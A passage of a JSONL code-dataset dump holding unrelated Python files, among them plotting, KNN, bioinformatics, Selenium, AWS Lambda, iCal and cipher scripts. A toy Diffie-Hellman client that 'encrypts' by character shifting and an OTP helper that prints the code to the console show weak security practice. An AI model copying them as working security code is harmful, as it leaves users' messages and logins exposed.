爬取什么值得的买商品评论\"\"\"\n r = subprocess.run('cd ../smzdm;python run.py;',\n shell=True,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE)\n\n with open('./log/smzdm.log', 'a') as f_out, open('./log/smzdm.err', 'a') as f_err:\n f_out.write(r.stdout.decode('utf-8'))\n f_err.write(r.stderr.decode('utf-8'))\n return 'success'\n","sub_path":"week10/online_public_opinion/djcron/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"541840159","text":"import plotly\nimport plotly.graph_objs as go\n\ndef plotly_graph(G):\n \n edge_x = []\n edge_y = []\n for edge in G.edges():\n x0, y0 = G.nodes[edge[0]]['pos']\n x1, y1 = G.nodes[edge[1]]['pos']\n edge_x.append(x0)\n edge_x.append(x1)\n edge_x.append(None)\n edge_y.append(y0)\n edge_y.append(y1)\n edge_y.append(None)\n\n edge_trace = go.Scatter(\n x=edge_x, y=edge_y,\n line=dict(width=0.5, color='#888'),\n hoverinfo='none',\n mode='lines')\n\n node_x = []\n node_y = []\n node_text = []\n for node in G.nodes():\n node_data = G.nodes[node]\n x, y = node_data['pos']\n node_x.append(x)\n node_y.append(y)\n\n name = node_data['first_name'] + ' ' + node_data['middle_init'] + ' ' + node_data['last_name'] + ' ' + node_data['suffix']\n node_text.append(name)\n\n node_trace = go.Scatter(\n x=node_x, y=node_y,\n mode='markers',\n hoverinfo='text',\n hovertext=node_text,\n marker=dict(\n #showscale=True,\n # colorscale options\n #'Greys' | 'YlGnBu' | 'Greens' | 'YlOrRd' | 'Bluered' | 'RdBu' |\n #'Reds' | 'Blues' | 'Picnic' | 'Rainbow' | 'Portland' | 'Jet' |\n #'Hot' | 'Blackbody' | 'Earth' | 'Electric' | 'Viridis' |\n #colorscale='YlGnBu',\n #reversescale=True,\n color=['blue'] * len(node_x),\n size=[10] * len(node_x),\n line_width=2))\n\n layout = go.Layout(\n title='Family Tree',\n titlefont_size=16,\n showlegend=False,\n hovermode='closest',\n margin=dict(b=20,l=5,r=5,t=40),\n xaxis=dict(showgrid=False, zeroline=False, showticklabels=False),\n yaxis=dict(showgrid=False, zeroline=False, showticklabels=False)\n )\n\n fig = go.Figure(data=[edge_trace, node_trace], layout=layout)\n\n return fig","sub_path":"familytree/treeplotting.py","file_name":"treeplotting.py","file_ext":"py","file_size_in_byte":1907,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"521469198","text":"import re\n\ndelimiter = \"id is_deleted creator_id input_params log execution_finished_at\"\nf = open(\"allLogs.txt\")\n#data = f.read()\ncount = 0\nfor line in f:\n queries = line.split(\"Query:\")\n for i in range(1, len(queries)):\n fw = open('queries/q'+str(count)+'.txt', 'w')\n fw.write(queries[i])\n fw.close()\n count += 1\n","sub_path":"ConvivaWorkloadParser/parse.py","file_name":"parse.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"617733929","text":"import sys\nfrom random import seed\nfrom random import randrange\nfrom csv import reader\nfrom math import sqrt\n \n# Load a CSV file\ndef load_csv(filename):\n\tdataset = list()\n\twith open(filename, 'r') as file:\n\t\tcsv_reader = reader(file)\n\t\tfor row in csv_reader:\n\t\t\tif not row:\n\t\t\t\tcontinue\n\t\t\tdataset.append(row)\n\treturn dataset\n \n\n \n# Convert string column to float\ndef str_column_to_float(dataset, column):\n\tfor row in dataset:\n\t\trow[column] = float(row[column].strip()) \n\n \n# Calculate the Euclidean distance between two vectors\ndef euclidean_distance(row1, row2):\n\tdistance = 0.0\n\tfor i in range(len(row1)-1):\n\t\tdistance += (row1[i] - row2[i])**2\n\treturn sqrt(distance)\n \n# Locate the most similar neighbors\ndef get_neighbors(train, test_row, num_neighbors):\n\tdistances = list()\n\tfor train_row in train:\n\t\tdist = euclidean_distance(test_row, train_row)\n\t\tdistances.append((train_row, dist))\n\tdistances.sort(key=lambda tup: tup[1])\n\tneighbors = list()\n\tfor i in range(num_neighbors):\n\t\tneighbors.append(distances[i][0])\n\treturn neighbors\n \n# Make a prediction with neighbors\ndef predict_classification(train, test_row, num_neighbors):\n\tneighbors = get_neighbors(train, test_row, num_neighbors)\n\toutput_values = [row[-1] for row in neighbors]\n\tprediction = max(set(output_values), key=output_values.count)\n\treturn prediction\n\n\n\n# Make a prediction with KNN \nfilename = 'flightdataset3.csv'\ndataset = load_csv(filename)\n\nfor i in range(len(dataset[0])-1):\n\tstr_column_to_float(dataset, i)\n\n\n# define model parameter\nnum_neighbors = 3\n# define a new record\ncatavion= int(sys.argv[1]) \norigin= int(sys.argv[2]) \ndestination= int(sys.argv[3]) \nt1= int(sys.argv[4]) \nt2= int(sys.argv[5]) \nt3= int(sys.argv[6]) \nt4= int(sys.argv[7]) \nt5= int(sys.argv[8])\nrow = [catavion,origin,destination,t1,t2,t3,t4,t5]\n# predict the label\nlabel = predict_classification(dataset, row, num_neighbors)\nprint(label)","sub_path":"public/essai python27/es3.py","file_name":"es3.py","file_ext":"py","file_size_in_byte":1891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"440955564","text":"import os\n\n\ndef name_strip(to_strip):\n begin = to_strip.find(\".xml\")\n end = to_strip.rfind(\"\\\\\")\n\n return to_strip[end + 1:begin]\n\n\ndef name_breakup(to_split):\n loc = to_split.find('.')\n return to_split[:loc] + \".\" + to_split[loc + 1:]\n\n\ndef file_write(to_write, file):\n fi = open(file, 'w')\n for item in to_write:\n f.write(item.user + \" \" + item.name)\n f.write(\"\\n\")\n\n\nclass Asset:\n user = ''\n name = ''\n\n def __init__(self, employee, computer_name):\n self.user = employee\n self.name = computer_name\n\n\ncollection = []\n\n# The top argument for walk\ntopdir = '\\\\\\\\gesvr126\\\\DesktopDoc$\\\\'\n\n# The extension to search for\nexten = '.xml'\n\ncomputers = []\nusers = []\nfor dirpath, dirnames, files in os.walk(topdir):\n for name in files:\n if name.lower().endswith(exten):\n # print(os.path.join(dirpath, name))\n computers.append(os.path.join(dirpath, name))\n\n# declarations\nf = None\nuser = None\nasset_ = None\nfi = open(\"pointsec_test.csv\", 'w')\nff = open(\"IPSEC_installed.txt\", 'w')\nfuc = open(\"BitlockerEncrypt.txt\",'w')\n\nfor computer in computers:\n f = open(computer, 'r')\n yes = False\n for line in f:\n\n if line.find(\"chassis=\\\"Notebook\\\"\") != -1:\n yes = True\n if line.find(\"\") != -1 and yes:\n\n user = f.readline()\n if user.find(\"GEXA\\\\\") != -1:\n name_begin = user.find(\"GEXA\\\\\")\n name_end = user.find(\"\\\"\", name_begin)\n\n fi.write(name_breakup(user[name_begin + 5:name_end]) + \",\" + name_strip(computer) + \",\")\n fi.write(\"\\n\")\n\nfor computer in computers:\n f = open(computer, 'r')\n yes = False\n count = 0\n for line in f:\n if line.find(\"\") != -1 and yes:\n user = f.readline()\n if user.find(\"GEXA\\\\\") != -1:\n name_begin = user.find(\"GEXA\\\\\")\n name_end = user.find(\"\\\"\", name_begin)\n count +=1\n ff.write(name_breakup(user[name_begin + 5:name_end]) + \",\" + name_strip(computer) + \",\")\n ff.write(\"\\n\")\n\nbitlocked =0\nfor computer in computers:\n f = open(computer, 'r')\n yes = False\n\n for line in f:\n if line.find(\"\") != -1 and yes:\n user = f.readline()\n if user.find(\"GEXA\\\\\") != -1:\n name_begin = user.find(\"GEXA\\\\\")\n name_end = user.find(\"\\\"\", name_begin)\n bitlocked +=1\n fuc.write(name_breakup(user[name_begin + 5:name_end]) + \",\" + name_strip(computer) + \",\")\n fuc.write(\"\\n\")\n\n\nfuc.write(str(bitlocked))\n","sub_path":"dir_logging.py","file_name":"dir_logging.py","file_ext":"py","file_size_in_byte":2954,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"342227675","text":"import socket\nimport random\nimport json\n\n\nclass DH_client:\n p = None\n g = None\n a = None\n A = None\n _B = None\n K = None\n\n def __init__(self, boolean, p=None, g=None):\n keys = None\n if boolean:\n keys = self.read_keys()\n if (keys):\n self.A = keys['public']\n self.K = keys['private']\n self.p = keys['p']\n self.g = keys['g']\n self.a = keys['a']\n self.new = False\n else:\n self.p = p\n self.g = g\n self.a = random.randint(1, 10000)\n self.A = self.g ** self.a % self.p\n self.new = True\n\n @property\n def B(self):\n return self._B\n\n @B.setter\n def B(self, val):\n self._B = val\n self.K = self.B ** self.a % self.p\n\n def encrypt_message(self, message):\n encrypted_message = \"\"\n for c in message:\n encrypted_message += chr(ord(c) + self.K)\n return encrypted_message\n\n def decrypt_message(self, encrypted_message):\n decrypted_message = \"\"\n for c in encrypted_message:\n decrypted_message += chr(ord(c) - self.K)\n return decrypted_message\n\n def save_keys(self, filename='client.json'):\n with open(filename, 'w') as json_file:\n json.dump({\n 'public': self.A,\n 'private': self.K,\n 'p': self.p,\n 'g': self.g,\n 'a': self.a,\n }, json_file)\n\n @staticmethod\n def read_keys(filename='client.json'):\n try:\n with open(filename, 'r') as json_file:\n keys = json.loads(json_file)\n return keys\n except FileNotFoundError:\n return None\n\n\nsock = socket.socket()\nk = False\nwhile not k:\n try:\n print(\"Host:\")\n host = input()\n if host == \"\":\n host = 'localhost'\n print(\"Port:\")\n port = input()\n if port == \"\":\n port = 9090\n sock.connect((host, int(port)))\n data = sock.recv(1024).decode()\n if data == 'old':\n dh_client = DH_client(True)\n else:\n p, g, B = [int(i) for i in data.split()]\n dh_client = DH_client(False, p, g)\n dh_client.B = B\n\n sock.send(str(dh_client.A).encode())\n print(\"Save keys??? (y/n)\")\n while True:\n msg = input().lower()\n if msg == 'y':\n dh_client.save_keys()\n sock.send(\"save\".encode())\n elif msg == 'n':\n break\n print('Enter or exit')\n msg = input()\n while msg != 'exit':\n sock.send(dh_client.encrypt_message(msg).encode())\n print(dh_client.decrypt_message(sock.recv(1024).decode()))\n msg = input()\n k = True\n except KeyboardInterrupt:\n break\nsock.close()","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":2918,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"60513086","text":"# !/usr/bin/env python\n# encoding: utf-8\n\n\"\"\"\nMy assignment 17 task3 program\nCreated by Andre Moncrieff on 4 April 2016.\nCopyright 2016 Andre E. Moncrieff. All rights reserved.\n\nUser must add directory path for task3 files in my answers directory. Sorry!\n\"\"\"\n\n\nimport os\nimport glob\nimport argparse\nimport os.path\nfrom Bio import SeqIO\nfrom Bio import Restriction\n\n\ndef parser():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--in_path\", required=True,\n help=\"Enter path for the directory containing Gallus\"\n \"gallus mtDNA genome FASTA formatted file\",\n type=str)\n parser.add_argument(\"--out_name\", required=True,\n help=\"Enter the name you wish for the answer output\" +\n \" file\",\n type=str)\n args = parser.parse_args()\n return args\n\n\ndef readin(in_path):\n os.chdir(in_path)\n filename = glob.glob(\"*.fasta\")[0]\n with open(filename, \"r\") as infile:\n record = SeqIO.read(infile, 'fasta')\n return record\n\n\ndef res_batch():\n new_eng_enz = Restriction.Restriction.RestrictionBatch(first=[],\n suppliers=[\"N\"])\n return new_eng_enz\n\n\ndef enzyme_cut_sites(new_eng_enzymes, record):\n enzyme_cut_sites = []\n list_of_used_enzymes = []\n for enzyme in new_eng_enzymes:\n cut_sites = enzyme.search(record.seq, linear=False)\n if cut_sites == []:\n pass\n else:\n enzyme_cut_sites.append(cut_sites)\n list_of_used_enzymes.append(str(enzyme))\n # print(enzyme_cut_sites)\n # print(len(enzyme_cut_sites))\n # print(list_of_used_enzymes)\n # print(len(list_of_used_enzymes))\n return enzyme_cut_sites, list_of_used_enzymes\n\n\ndef max_cuts(enz_cut_sites, list_of_used_enzymes):\n number_of_cuts = []\n for single_cut_site_list in enz_cut_sites:\n number_of_cuts.append(len(single_cut_site_list))\n maxval_cuts = max(number_of_cuts)\n max_cut_indices = [ind for ind, val in enumerate(number_of_cuts) if val == maxval_cuts]\n elongated_maxval_cuts = [maxval_cuts]*(len(max_cut_indices))\n max_cut_enzymes = []\n for index in max_cut_indices:\n max_cut_enzymes.append(list_of_used_enzymes[index])\n enz_cuts_dict_max = dict(zip(max_cut_enzymes, elongated_maxval_cuts))\n return enz_cuts_dict_max\n\n\ndef min_cuts(enz_cut_sites, list_of_used_enzymes):\n number_of_cuts = []\n for single_cut_site_list in enz_cut_sites:\n number_of_cuts.append(len(single_cut_site_list))\n minval_cuts = min(number_of_cuts)\n min_cut_indices = [ind for ind, val in enumerate(number_of_cuts) if val == minval_cuts]\n elongated_minval_cuts = [minval_cuts]*(len(min_cut_indices))\n min_cut_enzymes = []\n for index in min_cut_indices:\n min_cut_enzymes.append(list_of_used_enzymes[index])\n enz_cuts_dict_min = dict(zip(min_cut_enzymes, elongated_minval_cuts))\n return enz_cuts_dict_min\n\n\ndef write_to_new_file(enzymes, enz_cuts_dict_min, enz_cuts_dict_max):\n os.chdir(\"/Users/Andre/Documents/aa_LSU_Files/3_Spring_2016/Comp_Prog_for_Biologists/assignment-17/answers/AndreMonc/task3_output\")\n with open(\"answers.txt\", \"w\") as outfile:\n outfile.write(\"{}\\n\".format(\n \"All possible restriction enzymes\" +\n \" from New England Biolabs that cut the chicken\\n\" +\n \"mtDNA sequence:\\n\"))\n counter = 1\n for item in enzymes:\n if counter % 5 == 0:\n outfile.write(\"{}\\n\".format(item))\n counter += 1\n else:\n if len(item) > 7:\n outfile.write(\"{}\\t\\t\".format(item))\n counter += 1\n else:\n outfile.write(\"{}\\t\\t\\t\".format(item))\n counter += 1\n outfile.write(\"\\n\\n{}\\n{}\\n\".format(\n \"The number of restriction\" +\n \" enzymes from New England Biolabs that cut\" +\n \" the chicken mtDNA\\nsequence:\", len(enzymes)))\n outfile.write(\"\\n{}\\n\".format(\n \"The name of the enzymes\" +\n \" cutting the chicken mtDNA sequence in the\" +\n \" fewest places and \\nassociated number of cuts:\"))\n jubba = 1\n for e, j in enz_cuts_dict_min.items():\n if jubba % 5 == 0:\n outfile.write(\"{}:\\t{}\\n\".format(e, j))\n jubba += 1\n else:\n outfile.write(\"{}:\\t{}\\t\\t\".format(e, j))\n jubba += 1\n outfile.write(\"\\n{}\\n\".format(\n \"\\nThe name of the enzymes cutting the\" +\n \" chicken mtDNA sequence in the most places and\\n\" +\n \"associated number of cuts:\"))\n for k, v in enz_cuts_dict_max.items():\n outfile.write(\"{}:\\t{}\".format(k, v))\n # print(key, values)\n # print(enz_cuts_dict_max)\n\n\ndef main():\n args = parser()\n record = readin(args.in_path)\n new_eng_enzymes = res_batch()\n enz_cut_sites = enzyme_cut_sites(new_eng_enzymes, record)\n # print(enz_cut_sites)\n enz_cuts_dict_max = max_cuts(enz_cut_sites[0], enz_cut_sites[1])\n # print(enz_cuts_dict_max)\n enz_cuts_dict_min = min_cuts(enz_cut_sites[0], enz_cut_sites[1])\n # print(enz_cuts_dict_min)\n write_to_new_file(enz_cut_sites[1], enz_cuts_dict_min, enz_cuts_dict_max)\n\nif __name__ == '__main__':\n main()\n","sub_path":"answers/AndreMonc/task3.py","file_name":"task3.py","file_ext":"py","file_size_in_byte":5559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"431703483","text":"\n\nfrom xai.brain.wordbase.nouns._precinct import _PRECINCT\n\n#calss header\nclass _PRECINCTS(_PRECINCT, ):\n\tdef __init__(self,): \n\t\t_PRECINCT.__init__(self)\n\t\tself.name = \"PRECINCTS\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"precinct\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_precincts.py","file_name":"_precincts.py","file_ext":"py","file_size_in_byte":252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"646521559","text":"from twilio.rest import Client\nfrom institutes.models import Institutes\nfrom random import randrange\nfrom .models import City\n\n\ndef prepareCityList():\n cities=City.objects.all()\n cityList=[]\n for city in cities:\n cityList.append((city.id, city.city + \" (\"+city.state.state+\")\"))\n \n return cityList\n\n\ndef send_otp(request):\n contact=request.GET.get('contact_no')\n otp=randrange(1111,9999)\n\n \n request.session['otp']=otp\n print(request.session['otp'])\n\n\n account_sid = \"\"\n\n auth_token = \"\"\n\n client = Client(account_sid, auth_token)\n\n message = client.messages.create(\n to=\"+91\"+contact, \n from_=\"\",\n body=\"Wellcome to kartik software solutions \"+str(otp))\n\n print(message.sid)\n print(message.status)\n\n return message.status\n","sub_path":"cims/home/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"641027119","text":"from common.base import Base\n\n\nclass ArticleClassifyPage(Base):\n # 定位到2个\n loc1 = (\"xpath\", '//*[@href=\"/xadmin/hello/articleclassify/\"]')\n # 增加 文章分类\n loc2 = ('xpath', '//*[@id=\"content-block\"]/div[1]/div[2]/div/a')\n # 输入框\n loc3 = ('xpath', '//*[@id=\"id_n\"]')\n # 保存\n loc4 = ('xpath', '//*[@id=\"articleclassify_form\"]/div[2]/button/i')\n # 判断添加成功\n loc5 = ('xpath', '//*[@id=\"content-block\"]/div[2]')\n\n def click_articleclassify(self):\n '''点击文章分类按钮'''\n # self.click(self.loc1)\n # 复数定位点击按钮\n self.finds(self.loc1)[0].click()\n\n def click_add_articleclassify(self):\n '''点击添加文章分类按钮'''\n self.click(self.loc2)\n\n def input_article(self, text=\"测试分类\"):\n '''输入文章分类名称'''\n self.send(self.loc3, text)\n\n def click_save_button(self):\n self.click(self.loc4)\n\n def is_add_success(self, expect_text='添加成功'):\n text = self.get_text(self.loc5)\n print(\"获取到元素的文本内容:%s\"%text)\n return expect_text in text\n\n\nif __name__ == '__main__':\n from pages.login_page import LoginPage\n\n # 先登录\n from selenium import webdriver\n driver = webdriver.Chrome()\n driver.maximize_window()\n web = LoginPage(driver)\n web.login()\n\n article = ArticleClassifyPage(driver)\n article.click_articleclassify()\n article.click_add_articleclassify()\n article.input_article()\n article.click_save_button()\n result = article.is_add_success()\n print(result)\n","sub_path":"pages/articleclassify_page.py","file_name":"articleclassify_page.py","file_ext":"py","file_size_in_byte":1616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"266543722","text":"from tkinter import * \nimport string\nimport re\nimport operator\n\nroot = Tk()\nroot.title('Geeky world!')\nroot.geometry('500x400')\n\n#menu bar\n\nmenu = Menu(root)\nitem = Menu(menu)\nitem.add_command(label='New')\nmenu.add_cascade(label='File', menu=item)\nfrom tkinter import * \nimport string\nimport re\nimport operator\n\nroot = Tk()\nroot.title('ATBASH CIPHER')\nroot.geometry('500x300')\n\n\na = Label(root, text = 'Plain-text =>')\na.place(x=0,y=35)\n\n\n\n# main driver function\ndef atbash(each):\n\t# print(each)\n\ttemp_string=\"\"\n\tfor val in each : \n\t\t# print(val,end=\"\")\n\t\t#reverses the english alphabet letters\n\t\tif val in string.ascii_lowercase or string.ascii_uppercase:\n\t\t\treverse=0\n\t\t\tif val in string.ascii_lowercase:\n\t\t\t\treverse=122-(ord(val)-97)\n\t\t\telse :\n\t\t\t\treverse=90-(ord(val)-65)\n\t\t\ttemp_string=temp_string+chr(reverse)\n\t\telse : \n\t\t\ttemp_string=temp_string + val\n\t# print(temp_string)\n\treturn temp_string\n\n\ncount = 0\ndef clicked():\n\tglobal count\n\tif (count%2)==0 :\n\t\tresult.configure(text = atbash(inp.get()))\n\t\tbtn.configure(text = 'decrypt!')\n\telse :\n\t\tresult.configure(text = inp.get())\n\t\tbtn.configure(text = 'encrypt!')\n\tcount+=1\n\n\n\n\n\n\n\n\ninp = Entry(root, width=30)\ninp.place(x=100,y=35)\nbtn = Button(root,bg = 'blue', text = 'encrypt!',\n\tbd = '5',command=clicked)\nbtn.place(x=200,y=60)\n\n\n\n\n\n\n\n#just the layout part\nlbl = Label(root, text = 'Atbash encryption and decryption',bg='blue')\nlbl.place(x=100,y=0)\n\nbtin = Button(root,bd = '5', text = 'Exit', command = root.destroy)\nbtin.place(x=400,y=0) \n\nC = Canvas(root, background =\"green\", \n height = 100, width = 300) \nC.place(x=100,y=100)\n\n\nsim = Label(root,text='atbash cipher',bg='yellow')\nsim.place(x=200,y=100)\n\nencrypt = Label(root, text = 'Cipher Text! ==>> ')\nencrypt.place(x=180,y=120)\n\n\nresult = Label(root, text = '',bg = 'yellow', fg = 'black')\nresult.place(x=180,y=150)\n\nroot.mainloop()\n","sub_path":"simmons-gui-stage1.py","file_name":"simmons-gui-stage1.py","file_ext":"py","file_size_in_byte":1863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"352621957","text":"import uuid\nimport boto3\nimport datetime\nfrom boto3.dynamodb.conditions import Key, Attr\nfrom botocore.exceptions import ClientError\n\n\ndef lambda_handler(event, context):\n \"\"\"Flutter: MessageDao->Save Handler\n\n Parameters\n ----------\n event: dict, required\n API Gateway Lambda Proxy Input Format\n\n Event doc: https://docs.aws.amazon.com/apigateway/latest/developerguide/set-up-lambda-proxy-integrations.html#api-gateway-simple-proxy-for-lambda-input-format\n\n context: object, required\n Lambda Context runtime methods and attributes\n\n Context doc: https://docs.aws.amazon.com/lambda/latest/dg/python-context-object.html\n\n event['payload']['id'] uuid, optional\n Message UUID, will be automatically created if missing\n\n event['payload']['message'] uuid, required\n Message content\n\n event['payload']['author'] uuid, required\n UUID of Message's author\n\n event['payload']['createdDttm'] timestamp, required\n CreateDTTM of message, will be set to current time if missing\n\n Returns\n ------\n API Gateway Lambda Proxy Output Format: dict\n\n Return doc: https://docs.aws.amazon.com/apigateway/latest/developerguide/set-up-lambda-proxy-integrations.html\n\n body['payload'] object, optional\n Saved object\n\n body['error'] string, optional\n Error message if status code 500\n\n\n Status Codes\n ------\n 200: OK\n 404: No Data Found\n 500: Invalid request\n \"\"\"\n if 'payload' not in event:\n return {\n \"StatusCode\": 500,\n \"body\": \"Payload not found\"\n }\n\n if 'author' not in event['payload']:\n return {\n \"StatusCode\": 500,\n \"body\": \"Author not found\"\n }\n\n if 'message' not in event['payload']:\n return {\n \"StatusCode\": 500,\n \"body\": \"Message not found\"\n }\n\n try:\n message = {\n \"id\": (event['payload']['id'] if 'id' in event['payload'] else str(uuid.uuid4())),\n \"message\": event['payload']['message'],\n \"author\": event['payload']['author'],\n \"createdDttm\": (event['payload']['createdDttm'] if 'createdDttm' in event['payload'] else int(datetime.datetime.utcnow().timestamp()))\n }\n boto3.resource('dynamodb').Table('Message').put_item(Item=message)\n except ClientError as e:\n return {\n \"statusCode\": 500,\n \"body\": {\n \"error\": e.response['Error']\n }\n }\n else:\n return {\n \"statusCode\": 200,\n \"body\": {\n \"payload\": message\n }\n }\n","sub_path":"lambda/message-dao/save/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2769,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"215756635","text":"import os, re, sys\nimport numpy, pylab, string, time\n\nimport scipy.signal\n\n## Any finite impulse response (FIR) polyphase-DFT filterbank can be modelled by an equivalent windowed DFT\n## Display filter frequency response for both overlapping segment and non overlapping segment DFTs\ndef windowDFT_sinesweep():\n # (0) Initialization and input signals\n sys.stdout.write('Simulate a linear sine sweep from 0 Hz to F1 Hz...\\n')\n dt = 0.00001 # Time step (dt = 1/fs the sampling frequency)\n D = 12. # Signal duration in seconds\n # T1, F1 = The instantaneous frequency F1 is achieved at time T1\n T1 = 1.\n F1 = 30.\n fs = 1./dt # sampling frequency\n L = numpy.ceil(fs*D)+1 # signal duration (samples)\n t = numpy.arange(0, D, dt) # discrete-time axis (seconds)\n # t = numpy.linspace(0, D, D/dt) # discrete-time axis (seconds)\n input_signal = scipy.signal.chirp(t, f0=0, f1=F1, t1=T1, method='linear') # sine sweep from 0 Hz to F1 Hz (<=fs/2 Nyquist)\n\n # (1) Take the samples of the impulse response of the prototype lowpass filter as the window coefficients\n TotalTaps=4.\n PFBSize=10.\n Channels=float(2**PFBSize) # radix-2 for FFT size\n fwidth=1.\n alltaps = 2**PFBSize * TotalTaps # length of finite-impulse response prototype filter = KNt = (# Channels)(# Taps)\n WindowType='hamming'\n windowval = numpy.hamming(alltaps)\n window_fir_coeffs = windowval * numpy.sinc(fwidth*(numpy.arange(0,alltaps)/float(2**PFBSize)-TotalTaps/2.))\n\n # (2) Evaluation over the input signal in steps of K samples\n fft_out = numpy.array([])\n NrSegments = numpy.floor((len(input_signal) + (Channels+1))/Channels) - TotalTaps # overlapping segments with windowsize = alltaps\n for i in range(1, int(NrSegments)+1):\n sys.stdout.write('\\tprocessing overlapping window %i of %i\\n' %(i, NrSegments))\n segment_start = (i-1)*Channels\n segment_end = (TotalTaps + (i-1))*Channels-1\n # (2a) Perform an KNt-point windowed DFT\n windowed_segment = input_signal[segment_start:segment_end+1] * window_fir_coeffs\n fft_column = numpy.abs(numpy.fft.fft(windowed_segment))\n fft_column = fft_column.reshape(1,len(fft_column))/numpy.max(fft_column)\n if len(fft_out) < 1:\n fft_out = fft_column\n fft_out = numpy.vstack((fft_out, fft_column))\n\n # ABS(X) is the complex modulus (magnitude)\n # |x+iy] = sqrt(x^2+y^2)\n pylab.ion()\n pylab.figure(1)\n pylab.subplot(211)\n pylab.hold(True)\n pylab.plot(10.*numpy.log10(fft_out[:,9:21]))\n pylab.plot(-3.*numpy.ones(fft_out[:,7:11].shape))\n pylab.hold(False)\n pylab.title('Overlapping segments filtered with DFT')\n pylab.ylabel('Power [dBm]')\n\n # non overlapping segments\n fft_out = numpy.array([])\n for i in range(1, numpy.int(len(input_signal)/alltaps)):\n sys.stdout.write('\\tprocessing non-overlapping window %i...\\n'% i)\n # windowed_segment = input_signal[i*alltaps : (i+1)*alltaps-1]) * window_fir_coeffs\n windowed_segment = input_signal[i*alltaps : (i+1)*alltaps] * window_fir_coeffs\n fft_column = numpy.abs(numpy.fft.fft(windowed_segment))\n fft_column = fft_column.reshape(1,len(fft_column))/numpy.max(fft_column)\n if len(fft_out) < 1:\n fft_out = fft_column\n fft_out = numpy.vstack((fft_out, fft_column))\n\n pylab.subplot(212)\n pylab.hold(True)\n pylab.plot(10.*numpy.log10(fft_out[:,9:21]))\n pylab.plot(-3.*numpy.ones(fft_out[:,7:11].shape))\n pylab.hold(False)\n pylab.title('Non-Overlapping segments filtered with DFT')\n pylab.ylabel('Power [dBm]')\n pylab.xlabel('Windowed Channels')\n pylab.savefig('SpectralResponseHamming.png')\n pylab.draw()\n # force redraw to get pylab to show data plot\n pylab.draw()\n time.sleep(5)\n pylab.close('all')\n pylab.ioff()\n\n# All default values assigned will be theoretical approximations\nif __name__ == '__main__':\n\n # Model Channel Response\n windowDFT_sinesweep()\n\n# -fin- \n\n\n","sub_path":"ChannelResponse.py","file_name":"ChannelResponse.py","file_ext":"py","file_size_in_byte":3813,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"59511969","text":"'''\nGiven an array arr of positive integers sorted in a strictly increasing order, and an integer k.\n\nReturn the kth positive integer that is missing from this array.\n\n \n\nExample 1:\n\nInput: arr = [2,3,4,7,11], k = 5\nOutput: 9\nExplanation: The missing positive integers are [1,5,6,8,9,10,12,13,...]. The 5th missing positive integer is 9.\nExample 2:\n\nInput: arr = [1,2,3,4], k = 2\nOutput: 6\nExplanation: The missing positive integers are [5,6,7,...]. The 2nd missing positive integer is 6.\n \n\nConstraints:\n\n1 <= arr.length <= 1000\n1 <= arr[i] <= 1000\n1 <= k <= 1000\narr[i] < arr[j] for 1 <= i < j <= arr.length\n \n\nFollow up:\n\nCould you solve this problem in less than O(n) complexity?\n'''\n\nclass Solution:\n def findKthPositive(self, arr: List[int], k: int) -> int:\n i = 0\n cnt = k\n\n for j in range(1, 2 ** 31):\n if i >= len(arr) or j != arr[i]:\n cnt -= 1\n elif j == arr[i]:\n i += 1\n if cnt == 0:\n return j","sub_path":"Python3/1539. Kth Missing Positive Number.py","file_name":"1539. Kth Missing Positive Number.py","file_ext":"py","file_size_in_byte":1006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"378055801","text":"from icalendar import Calendar\nimport icalendar\nfrom color.models import Event, Sheet\nfrom datetime import datetime\nimport random\n\nPROVIDID_NAME = 'color_calendar'\nCOLOR_LIST = [\n \"#00AA00\",\n \"#00DDDD\",\n \"#0066FF\",\n \"#D28EFF\",\n \"#B22222\",\n \"#FF1493\",\n \"#9932CC\",\n \"#EE82EE\",\n \"#FF4500\",\n \"#006400\",\n \"#4169E1\",\n \"#5F9EA0\",\n \"#808080\",\n]\n\ndef ical2colorsheet(ical_str):\n cal = Calendar.from_ical(ical_str)\n l = cal.walk()\n sheet = Sheet()\n sheet.color = random.choice(COLOR_LIST)\n if 'X-WR-CALNAME' in l[0]:\n sheet.name = l[0]['X-WR-CALNAME'].to_ical().decode('utf-8')\n else:\n sheet.name = 'Undefined'\n sheet.save()\n for each in l[1:]:\n if type(each) == icalendar.cal.Event:\n icalevent2colorevent(each, sheet)\n return sheet\n\n\ndef icalevent2colorevent(ical_event, sheet):\n #print(ical_event.to_ical())\n event = Event()\n event.created = datetime.now()\n event.sheet = sheet\n if 'summary' in ical_event:\n event.summary = ical_event['summary'].to_ical().decode('utf-8')\n if 'description' in ical_event:\n event.description = ical_event['description'].to_ical().decode('utf-8')\n if 'status' in ical_event:\n event.status = ical_event['status'].to_ical().decode('utf-8')\n if 'location' in ical_event:\n 